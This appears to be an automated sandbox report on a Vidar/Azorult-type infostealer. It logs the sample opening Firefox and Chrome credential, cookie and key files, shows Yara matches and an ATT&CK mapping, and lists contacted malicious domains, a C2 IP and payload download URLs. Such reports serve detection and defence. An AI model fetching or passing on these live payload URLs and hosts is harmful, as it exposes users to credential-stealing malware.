Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 6656, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 9.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.36815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.36815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 3160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6656, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Z4CYGTBlj7.exe	39%	ReversingLabs	Win32.Packed.Generic
Z4CYGTBlj7.exe	38%	Virustotal		Browse
Z4CYGTBlj7.exe	100%	Avira	HEUR/AGEN.1313019
Z4CYGTBlj7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	39%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	42%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll	1%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	ReversingLabs	Win32.Trojan.Azorult
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sdfjhuz.com	24%	Virustotal		Browse
cajgtus.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.m	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54l	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54o	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://95.217.9.149/JDAAECGHDGDGCGHDB-walXz	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://steam.tv/	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	2%	Virustotal		Browse
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Virustotal		Browse
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://95.217.9.149ta	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	0%	Avira URL Cloud	safe
https://95.217.9.149/ramData	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
https://95.217.9.149	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Virustotal		Browse
http://sdfjhuz.com/dl/build2.exeruna02b:	100%	Avira URL Cloud	malware
https://95.217.9.149/	4%	Virustotal		Browse
http://cajgtus.com/files/1/build3.exeGum	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.phpt	0%	Avira URL Cloud	safe
https://95.217.9.149	4%	Virustotal		Browse
https://medal.tv	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	3%	Virustotal		Browse
https://medal.tv	0%	Virustotal		Browse
https://recaptcha.net/recaptcha/;	0%	Virustotal		Browse
https://broadcast.st.dl.eccdnx.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sdfjhuz.com	211.181.24.133	true	true	24%, Virustotal, Browse	unknown
cajgtus.com	189.163.142.13	true	true	4%, Virustotal, Browse	unknown
steamcommunity.com	184.85.65.125	true	false		high
api.2ip.ua	172.67.139.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54	true	Avira URL Cloud: safe	unknown
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	true	Avira URL Cloud: safe	unknown
https://95.217.9.149/	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://95.217.9.149/JDAAECGHDGDGCGHDB-walXz	build2.exe, 00000009.00000002.2285261138.0000000000794000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	Z4CYGTBlj7.exe, 00000005.00000003.2109737455.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888	build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a	build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/privacy-sdx.win32.bundle.js.map/e3b0c4429	Z4CYGTBlj7.exe, 00000005.00000003.2117291060.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json.	Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54o	Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54l	Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high
